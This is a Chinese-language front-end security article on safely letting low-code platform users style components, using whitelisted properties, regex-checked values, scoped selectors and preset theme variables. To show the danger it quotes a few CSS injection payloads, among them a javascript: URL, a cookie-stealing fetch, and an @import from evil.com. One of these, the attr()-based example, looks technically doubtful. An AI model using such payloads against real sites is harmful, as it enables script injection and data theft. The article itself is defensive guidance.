低代码平台禁止用户直接写CSS或调用样式API以防XSS和样式污染,应采用白名单属性、值正则校验、scoped前缀注入及结构化JSON存储,并通过预设变量池和同步setProperty实现安全主题切换。

低代码平台里让用户“自己写 CSS 并动态生效”,表面是自由,实则是雷区——style 标签注入、document.write、innerHTML 拼接样式字符串,三者任一都可能触发 XSS 或样式污染。真正安全的动态引入,必须绕过直接执行,走预编译 + 白名单 + 作用域隔离路线。
为什么不能让用户直接写 或调用 insertRule?
浏览器不会区分“用户写的 CSS”和“你写的 JS”,只要它进了 DOM 或执行了样式 API,就等同于执行任意代码:
-
background: url(javascript:alert(1))在旧版 Safari/IE 中可直接弹窗 -
content: "x" attr(onerror=javascript:fetch('/steal-cookie'))利用伪元素触发请求 -
@import url('https://evil.com/steal.css')外链加载不受控资源,可能覆盖关键样式或埋点 - 用户写
body { display: none !important },整个编辑器瞬间白屏,无法恢复
安全方案:CSS 属性白名单 + 值校验 + scoped 注入
不是“禁不禁止”,而是“只允许什么”。把 CSS 当成结构化数据处理,而非字符串拼接:
- 只开放有限属性:
color、font-size、margin、padding、background-color、border-radius等 20 个以内高频安全项;禁用@keyframes、@import、url()、calc()(除非显式启用并校验括号内表达式) - 值必须通过正则校验:
^#([0-9A-F]{3}){1,2}$|^rgb\(\d+,\s*\d+,\s*\d+\)$|^var\(--[a-z0-9-]+\)$,拒绝任何含括号、引号、分号、逗号的非常规输入 - 所有生成的样式都注入到一个带唯一 ID 的
标签中,并自动添加[data-editor-id="xxx"]前缀,确保仅影响当前组件预览区域,不泄漏到编辑器 UI 或其他组件 - 用户点击“保存”时,不是存原始 CSS 字符串,而是存结构化 JSON:
{"color": "#333", "font-size": "16px"},渲染时再映射为带前缀的规则
如何支持“主题切换”类动态需求而不开后门?
用户要换深色模式,不该让他们手写 :root { --bg: #111 },而应提供预设变量池 + 可视化选择器:
- 平台内置一组命名变量:
--theme-bg、--theme-text、--theme-accent,全部在:root预定义(含 fallback),用户只能从下拉菜单选值,不能自由输入变量名 - 切换时只调用
document.documentElement.style.setProperty('--theme-bg', '#111'),不重写整个,避免 FOUC 和竞态 - 若用户想自定义某组件的“按钮悬停色”,提供颜色拾取器 + 实时预览,底层仍走白名单校验,最终生成类似
.btn[data-editor-id="abc"]:hover { background-color: #4a90d9 } - 禁用所有全局选择器:
body、html、*、div:nth-child(2n)—— 这些一律被过滤或转为空规则
最易被忽略的一点:低代码平台常把“样式实时预览”做成 iframe,但 iframe 的 document 是独立上下文,父页面注入的 :root 变量不会继承过去。必须在 iframe 内部也注入一份变量声明,且确保两处 setProperty 同步调用,否则用户看到的“深色模式”只是假象。
前端入门到VUE实战笔记:立即使用
在学习笔记中,你将探索 前端 的入门与实战技巧!











